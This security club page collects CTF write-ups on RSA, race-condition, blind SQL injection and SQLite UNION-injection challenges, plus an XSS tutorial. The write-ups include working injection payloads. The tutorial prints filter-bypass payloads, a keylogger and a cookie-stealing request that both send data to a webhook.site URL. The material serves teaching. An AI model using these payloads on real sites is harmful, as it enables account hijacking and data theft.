FPT Uni Secathon 3 | Cryptography Writeup | CRY301 - CRY302

This is an annual competition for FPT University students to practice their skills with jeopardy CTF challenges. I was with my team, M1sh13f, and we’re at the #5 place. Congrats me and my amazing teammates!!!!

No more beating around the bush, here are my write-ups for the first two cryptography challenges.

 

Challenge: CRY301 – 1000 pts

When netcat to the server, I can easily see that this cryptography challenge is about RSA encryption and decryption with the presence of public key n, e and also the private key d.

But clearly, the server doesn’t tell anything about the ciphertext to decrypt or the message to encrypt. So, I take a look at the given zip file, containing two files: quotes.py and server.py.

The quotes.py file contains a list of possible messages that the server will send you if you don’t come up with the right flag. So, I don’t spend any minute on the quotes.py but the other file server.py.

MAGIK_STRING = b"Aww, c'mon, what's the worst that could happen?"

def handle(self):
        self.request.sendall(banner())
        n, d, e = gen_key_pair()
        self.request.sendall(b'    n = %d' % (n) + b'\n')
        self.request.sendall(b'    e = %d' % (e) + b'\n')
        self.request.sendall(b'    d = %d' % (d) + b'\n')
        self.request.sendall(
            b'\n    Now if you say the magik number correctly, I\'ll give you a magik string as a reward\n')
        self.request.sendall(b'    Enter your number here: ')
        try:
            magik_number = int(self.rfile.readline().decode())
        except ValueError:
            self.request.sendall(b'\n    ' + random_quotes() + b'\n')
            return
        if magik_number == pow(bytes_to_long(MAGIK_STRING), e, n):
            self.request.sendall(b'\n    ' + random_quotes() + b'\n')
            return
        if not pow(magik_number, d, n) == bytes_to_long(MAGIK_STRING):
            self.request.sendall(b'\n    ' + random_quotes() + b'\n')
            return
        self.request.sendall(b'\n    ' + rewards() + b'\n')

So, the message to encrypt here is the given MAGIK_STRING. And you need to find the ciphertext. It’s easy enough as the server already gave out the key. But you can see that the server won’t accept the value of c = pow(message, e, n).

The solution here is to find the number c’ that c and c’ are congruent modulo n. Simply enough, you just need to add c with n.

c’ = c + n

Send c’ to the server and here is the flag:

FUSEC{Rul3s_4r3_m4d3_t0_b3_br0k3n_lik3_buildingz_0r_p30pl3_1602068882}

Challenge: CRY302 — 1000 pts

This challenge is an upgraded version of the CRY301 problem you have seen above. netcat to the server will ask us to input the magik number.


Check out the given source code, it tells us something about the prefix of the magik number.

MAGIK_STRING = b"I cannot be good. I must be perfection."
SUFFIX = b"You lack imagination."

def handle(self):
    self.request.sendall(banner())
    n, d, e = gen_key_pair()
    self.request.sendall(b'    n = %d' % (n) + b'\n')
    self.request.sendall(b'    e = %d' % (e) + b'\n')
    self.request.sendall(b'    d = %d' % (d) + b'\n')
    self.request.sendall(
        b'\n    Now if you say the magik number correctly, I\'ll give you a magik string as a reward\n')
    self.request.sendall(b'    Enter your number here: ')
    try:
        magik_number = int(self.rfile.readline().decode())
    except ValueError:
        print('Not a number')
        self.request.sendall(b'\n    ' + random_quotes() + b'\n')
        return
    if magik_number == pow(bytes_to_long(MAGIK_STRING), e, n):
        print('Sent c')
        self.request.sendall(b'\n    ' + random_quotes() + b'\n')
        return
    if not long_to_bytes(magik_number).endswith(SUFFIX):
        print('Not end with suffix')
        self.request.sendall(b'\n    ' + random_quotes() + b'\n')
        return
    if not pow(magik_number, d, n) == bytes_to_long(MAGIK_STRING):
        print('Decrypt does not return magik')
        self.request.sendall(b'\n    ' + random_quotes() + b'\n')
        return
    self.request.sendall(b'\n    ' + rewards() + b'\n')

This challenge gives us more condition for the valid magik number. Similar to the first problem, we will need to find the number c’ that c and c’ are congruent modulo n. Also, c’ must end with the given SUFFIX.

The first hint gave me the idea of crafting an equation. As c’ and c are congruent modulo n, c’ = c + x * n. So, I have one side of an equation with an unknown x.

The other side of the equation will present the condition of ending with SUFFIXThe second hint is about how the bytes_to_long() and long_to_bytes() function work.The ultimate last hint is about how the endswith() method can be presented into the equation

So, here is the other side of the equation c’ = k * 16 ** len(hexlify(SUFFIX)) + bytes_to_long(SUFFIX) with the unknown k. You can calculate the length of SUFFIX and the value of bytes_to_long(SUFFIX). And the complete equation with c = pow(magik_String, e, n):

c + x * n = k * 16 ** 42 + 130709955709673130759780524244946733922755218992686

The next step is to solve this equation and find one value of x and k. The Sage Cell Server, an online version of Sagemath, can help.

Image for post
Sagemath command to solve the equation from Sagemath doc

Replace the c and n value, and here is the output.

Image for post
The unknowns x and k are described through the new t_0 variable.

Now I only need the x value, so I will choose a random value for t_0 to find x. The simplest case is t_0 = 0, and I have the value of x. Then calculate c’ = c + x * n.

Submit c’ to the server and here is our flag.

FUSEC{In_c4rn4g3_I_bl00m_lik3_4_fl0w3r_in_th3_d4wn_1602085220}

I will update the write-up for the final challenge of this competition as soon as possible. Thank you for reading.

Keeping on CTF :))) !!!!

— Jessie —

spacer

FPT Uni SecAthon 3 | Web Writeup | IAW301 - IAW302

Written by HADES 

* Contact me via discord: 𝖍𝖆𝖉𝖊𝖘#5218 *


I. IAW302 : (RACE CONDITION)

    <?php
    session_start();
    @include '/flag.php';

    if(!isset($_GET['choose'])){
        highlight_file("result.php");
        die();
    }

    $name = md5(date("ms").md5($_GET['choose']).@$_COOKIE['PHPSESSID']);
    session_destroy();
    $log_file = "./".$name.".txt";
    echo "Log: $log_file</br>";

    file_put_contents($log_file,$_GET['choose']);
    if(@unlink($log_file)){
        die("Loser");
    }
    echo @$flag;
    ?>

1. SOLUTION:

Sau khi test sơ qua mình đã thấy được code mà author cung cấp ở http://35.198.195.87:7002/result.php. Đây cũng là 1 dạng được khá nhiều người biết đến, dùng kĩ thuật race condition để khai thác. Và bây giờ mình sẽ phân tích, tại sao lại có thể exploit bằng race-con.
  • Đầu tiên giá trị của $name được gán bằng md5-encode của date, get parameter và session, tiếp theo đó $name được lấy làm tên file txt và được nạp nội dung vào, sau đó kiểm tra xóa file thông qua đoạn if(@unlink($log_file)), nếu false thì echo flag, và ngược lại thì die("Loser").
  • Nhìn thì có vẻ như không có bất kì vuln nào, nhưng các bạn hãy chú ý vào đoạn session_destroy(); được đặt giữa source code và nó có chức năng hủy session. Điều này rất nguy hiểm, vì nếu session bị hủy giữa chừng và đồng thời có nhiều request được gửi tới thì sẽ gây ra tình trạng mất dữ liệu bất ngờ, trong trường hợp trên thì sẽ mất dữ liệu của $name

⇒ Do đó để unlink trả về false thì chỉ cần làm cho $name bị mất dữ liệu thì sẽ không tồn tại tên file , bằng cách dùng race condition để tạo ra nhiều request đồng thời.

Warning Immediate session deletion may cause unwanted results. When there is concurrent requests, other connections may see sudden session data loss. e.g. Requests from JavaScript and/or requests from URL links. Although current session module does not accept empty session ID cookie, but immediate session deletion may result in empty session ID cookie due to client(browser) side race condition. This will result that the client creates many session ID needlessly. To avoid these, you must set deletion time-stamp to $_SESSION and reject access while later. Or make sure your application does not have concurrent requests. This applies to session_regenerate_id() also.

2. PAYLOAD:

  • Chỉ cần dùng thread để spam là okie !

⇒ flag: FUSEC{Hua_voi_moi_nguoi_lan_nay_lan_cuoi_dao_de}



II. IAW301:(BLIND-SQL-INJECTION)

HINT 2 : http://35.198.195.87:7001/src.zip

HINT 4 : "valid/email*"@gmail.com

1. SOLUTION:

Dựa vào hint 2 ta đọc source và biết ngay vuln tại phần email trong chức năng registration.
$regexEmail = array("options" => array("regexp"=>"/^(?!(?:(?:\\\\x22?\\\\x5C[\\\\x00-\\\\x7E]\\\\x22?)|(?:\\\\x22?[^\\\\x5C\\\\x22]\\\\x22?)){255,})(?!(?:(?:\\\\x22?\\\\x5C[\\\\x00-\\\\x7E]\\\\x22?)|(?:\\\\x22?[^\\\\x5C\\\\x22]\\\\x22?)){240,}@)(?:(?:[\\\\x21\\\\x23-\\\\x27\\\\x2A\\\\x2B\\\\x2D\\\\x2F-\\\\x39\\\\x3D\\\\x3F\\\\x5E-\\\\x7E]+)|(?:\\\\x22(?:[\\\\x01-\\\\x08\\\\x0B\\\\x0C\\\\x0E-\\\\x1F\\\\x21\\\\x23-\\\\x5B\\\\x5D-\\\\x7F]|(?:\\\\x5C[\\\\x00-\\\\x7F]))*\\\\x22))(?:\\\\.(?:(?:[\\\\x21\\\\x23-\\\\x27\\\\x2A\\\\x2B\\\\x2D\\\\x2F-\\\\x39\\\\x3D\\\\x3F\\\\x5E-\\\\x7E]+)|(?:\\\\x22(?:[\\\\x01-\\\\x08\\\\x0B\\\\x0C\\\\x0E-\\\\x1F\\\\x21\\\\x23-\\\\x5B\\\\x5D-\\\\x7F]|(?:\\\\x5C[\\\\x00-\\\\x7F]))*\\\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\\\]))$/iD","default"=>false));
    if (filter_var($username, FILTER_VALIDATE_REGEXP, $regexUsername)){
      if (filter_var($email, FILTER_VALIDATE_REGEXP, $regexEmail)){
.............
}}
Và dưới đây là câu query signup bị vuln:
$sql = 'INSERT INTO Users (username, email, password) VALUES ("'.$username.'", "'.$email.'", "'.md5($password).'")'; 
Để inject và lấy dữ liệu trong database được, chúng ta cần bypass cái regex ở trên, bằng một số kĩ thuật fuzzing và document (https://www.programmersought.com/article/88334149880/)

2. PAYLOAD:

#payload bind-sqli username=a&password=b&email="||(ascii(substr((select 'aa'),1,1))>53)||"@aaaaaagmail.com

⇒flag: FUSEC{Fuzzing_Email_For_SQLi}

spacer

FPT Uni SecAthon 3 | Web Writeup | PRP302


 
In this challenge, we have a form.

Try input 1, we have a base64 string.

But we have nothing when decoding it, then I guess it is encrypted.

I tried dirsearch and found ‘.git’ :

Then, we use GitHack to get source code. In folder ‘form’, we found file AES.py

Now, we have key and iv, using it to decrypt the string:

Try SQL injection with:

1/**/or/**/1=1--

Therefore, I think that all the responses will be encrypted. Decrypt those strings, we have 5 country names: Vietnam, England, Japan, America, France.

Try to find database information, we found that it is SQLite version 3.27.2 with:

1/**/union/**/select/**/null,sqlite_version()--

Now, we use:

1/**/union/**/select/**/null,name/**/from/**/sqlite_master/**/where/**/type='table'--

1/**/union/**/select/**/null,sql/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/tbl_name='form_flag'--

We found a table named ‘form_flag‘ and a column named ‘flag‘. Use this payload to get the flag and decrypt it:

1/**/union/**/select/**/null,flag/**/from/**/form_flag--

Flag: FUSEC{CSGO://Bomb_has_been_exploded_CT_loose}

By Dang Kien

spacer

XSS cơ bản | CORS và CSP

    1. XSS là gì?

XSS - Cross-site Scripting là một kỹ thuật tấn công code injection trên phía client. Kẻ tấn công mục đích khai thác các dữ liệu nhạy cảm của người dùng khác bằng cách chèn các đoạn code độc hại trong trình duyệt Web, những mã độc này thường được viết với ngôn ngữ lập trình như Javascript, HTML…. Khai thác tấn công XSS chỉ thực sự xảy ra khi nạn nhân truy cập vào trang web hoặc ứng dụng thực thi các đoạn mã độc. 

Về cơ bản, một ứng dụng có chứa lỗ hổng XSS đều xảy ra từ các trường input parameter được nhập vào từ người dùng, dữ liệu này sẽ chạy một cách hợp lệ trên trình duyệt, ứng dụng. Nguyên nhân chính của loại tấn công này là thiếu xác thực đầu vào dữ liệu người dùng, dữ liệu đầu ra trả về cho người dùng không được mã hóa và xử lý cẩn thận khiến những đoạn script độc hại có thể thực thi hợp lệ trên trình duyệt của nạn nhận.


Rủi ro:

- Người dùng bị chiếm phiên làm việc, đánh cắp cookie, token,…

- Thay đổi giao diện của ứng dụng, website.

- Quảng cáo hoặc bôi nhọ trang web, ứng dụng.

- Sử dụng phần cứng để nghe, chụp hình hay đào bitcoin.

    2. Các kiểu tấn công XSS

        2.1 Reflect XSS

Kẻ tấn công gửi cho nạn nhân một liên kết đến ứng dụng thông qua email, mạng xã hội,... nó chứa scripts độc hại được nhúng bên trong và sẽ thực thi khi truy cập trang web. Nó được gọi là reflect (ánh xạ) vì trong kịch bản khai thác này, hackers phải gửi cho nạn nhân một URL chứa scripts (phishing).

Nạn nhân chỉ cần truy cập URL này, hacker sẽ nhận được phản hồi chứa kết quả mong muốn.

Ví dụ, tại vị trí tìm kiếm của một ứng dụng, thay vì chèn nội dụng tìm kiếm bình thường, attacker chèn mã script, trình duyệt xử lý và hiện thị dữ liệu truyền vào trên màn hình. Và script độc hại được thực thi.

/?q=%253c%252ftitle%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e

Thay vì hiện thị bảng thông báo cookie, attacker có thể thay bằng gửi cookie đến server của mình và có được phiên của nạn nhân.


        2.2 Stored XSS

Kẻ tấn công có thể chèn scripts vào những vị trí có thể lưu lại trong ứng dụng chứa lỗ hổng XSS, thường là lưu tại database và được hiện thị trên giao diện. Ví dụ như tên, comment, post được lưu trên ứng dụng, từ đó trình duyệt sẽ đọc và scripts được thực thi khi bất kỳ ai truy cập vào. Nạn nhân request đến thông tin được lưu trữ và bị đánh cắp thông tin. Gọi là Stored-XSS.

Khác với Reflect XSS là attacker phải gửi cho nạn nhân nhằm lừa nạn nhân truy cập. Còn với Stored XSS không cần phải thực hiện điều này. Ngoài ra, nó còn có thể tấn công nhiều nạn nhân mà chỉ cần một lần chèn scripts. Từ đó có thể thấy Stored XSS nguy hiểm hơn Reflect XSS rất nhiều, và nếu là quản trị hay người dùng cấp cao, hậu quả sẽ rất nghiêm trọng.

Ví dụ, ứng dụng chứa lỗ hổng có lưu trữ bao gồm các trường hồ sơ như username hay email, thông tin lưu trên máy chủ đó hiển thị trên giao diện ứng dụng.


        2.3 DOM based XSS

Scripts được chèn và sửa đổi DOM (Document Object Model) của trang web trong code phía nạn nhân và sau đó được thực thi, kỹ thuật này thay đổi cấu trúc DOM, cụ thể là HTML, nó làm thay đổi giao diện phía người dùng. Khác với reflect cũng là gửi để phishing nạn nhân nhưng không gửi dữ liệu đến server, nó trực tiếp chạy trên trình duyệt nạn nhân, điều này giảm thiểu filter từ phía server.

Ví dụ trang lấy giá trị parameter trên URL để hiển thị thông báo trên màn hình, thay vì chèn chuỗi thông báo, attacker chèn scripts và nó được thực thi trên trình duyệt nạn nhân.


        2.4 Blind XSS

Kỹ thuật này xảy ra khi kẻ tấn công không thể thấy được kết quả của cuộc tấn công vì kết quả lỗ hổng thường nằm trên một trang mà chỉ những người dùng được ủy quyền mới có thể truy cập. Kiểu khai thác này thường phải dùng payload phức tạp hơn để có thể nhận biết được nếu vị trí tồn tại lỗ hổng cũng như payload của kẻ tấn công được thực thi thành công.

Ví dụ lỗ hổng tại form feed back về ứng dụng, chỉ quản trị có thể đọc nội dung bị nhiễm mã khai thác.



    3. Một số case phức tạp hơn

Bypass filter:

Ví dụ filter blacklist không đầy đủ, hoặc payload được obfuscate: <sCrIpT>alert('xss');</ScRiPt>

Bypass trường hợp hợp thẻ <script> bị xóa trước khi hiển thị: 

<svg o<script>nload=alert(1)>

Kết quả: <svg onload = alert(1)>

Hoặc: <%00script>alert(1)</script>

%00 trả về giá trị null khi đó 1 số filter không cẩn thận sẽ cho phép mã khai thác dạng này


Phishing: những thẻ hợp lệ như <a> cũng đều có thể được lợi dụng gây ra lỗ hổng XSS, ví dụ: 

<a href=https://attacker/>Session expired. Please login again.</a>

<a href="javascript:alert(1)">Click Here</a>


Mã hóa: mã hóa payload là 1 trong các cách được attackers hay dùng ví dụ như encode scripts bằng URL, trình duyệt sẽ decode từ HTML/URL thành script và thực thi:

%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3E


Tạo Keylogger, attacker có chèn script ghi phím gõ trực tiếp của người dùng và gửi về server của kẻ tấn công ví dụ 1 đoạn script:

<script>var keys="";

document.onkeypress = function(e) {

get = window.event?event:e;

key = get.keyCode?get.keyCode:get.charCode;

key = String.fromCharCode(key);

keys+=key;

}

window.setInterval(function(){

if(keys != "") {

new Image().src = "https://webhook.site/f6d7fb91-a0b3-4604-b1b2-853553ddd8a9?c="+keys;

keys = "";

}}, 500)</script>


Gửi request tới server: hacker có thể dùng nhiều hàm hỗ trợ để gửi request về server của hacker kèm dữ liệu nhạy cảm, ví dụ 1 case đơn giản:

var request = new XMLHttpRequest(); request.open('GET', 'https://webhook.site/f6d7fb91-a0b3-4604-b1b2-853553ddd8a9/?a='+document.cookie, true); request.send();


Bypass CSRF: hacker có thể lợi dụng các thẻ như iframe để render trang được gán CSRF token để chống tấn công CSRF. Sau đó các dựa vào script XSS, hacker có thể đánh cắp token.


Ngoài ra còn rất nhiều kịch bản khác!




    4. Ngăn Chặn XSS

        4.1 Data Validation

Giới hạn input của người dùng trong danh sách cụ thể, phương pháp này đảm bảo rằng chỉ các giá trị đã biết và an toàn mới được gửi đến máy chủ. Việc hạn chế input chỉ hoạt động nếu hệ thống biết có thể nhận được loại dữ liệu nào. Sử dụng thư viện có sẵn, vì các thư viện đó đã được nhiều developer sử dụng và thử nghiệm. Tuy nhiên, nó chỉ giúp giảm thiểu rủi ro, không đảm bảo đủ để ngăn chặn lỗ hổng XSS có thể xảy ra

Encode và xử lý dữ liệu đầu ra, kiểm tra nội dung không an toàn trước khi export hiển thị trên trình duyệt người dùng.

        4.2 Sử dụng WAF

Sử dụng tường lửa để bảo vệ ứng dụng, hệ thống trước các cuộc tấn công. Phương pháp này chặn các cuộc tấn công như XSS, RCE hoặc SQLi trước khi các yêu cầu độc hại đến được hệ thống. Nó cũng có lợi ích là bảo vệ chống lại các cuộc tấn công quy mô lớn như DDOS.


        4.3 Cấu hình CORS

Cấu hình Cross-Origin Resource Sharing giúp ngăn các website khác đánh cắp traffic của ứng dụng, ví dụ như khi attacker nhúng script vào các websites để gửi các thông tin đánh cắp được về máy chủ khác.


        4.4 Cấu hình CSP

chỉ định các tên miền để trình duyệt xem là nguồn hợp lệ của các script thực thi. Trình duyệt tương thích CSP sau đó sẽ chỉ thực thi các script được load trong nguồn nhận được từ các miền thuộc danh sách đó.

spacer

Ban Chuyên Môn

Ban chuyên môn là ban gồm các thành viên có đam mê về hacking, bảo mật và lập trình. Là lực lượng kiến thức chuyên môn vững chắc, giúp duy trì và phát triển trình độ chuyên môn của câu lạc bộ. Vì vậy thành viên ban chuyên môn đòi hỏi phải có nền tảng chuyên môn từ trước.


🚀Thành viên ban chuyên môn luôn trau dồi kiến thức chuyên môn về lập trình, hacking và bảo mật. Là các team chủ lực trong các giải đấu CTF, ACM,... lớn và nhỏ trong toàn quốc.

 

🚀Hoạt động chính của ban chuyên môn. 

  • Tổ chức và xây dựng đề thi, chủ đề cho contest trong club. 
  • Tìm hiểu và học hỏi công nghệ mới. 
  • Chia sẻ kiến thức, training cho tất cả các thành viên khác trong câu lạc bộ trong các buổi sinh hoạt. 

 

🚀Đến với team "Hacker mũ trắng" này chúng ta sẽ có cơ hội làm việc và học tập cùng những thành viên "tay to" của club, tham gia đội tuyển An Toàn Thông Tin của trường, chia sẻ cũng như nhận lại những kiến thức chuyên ngành.

spacer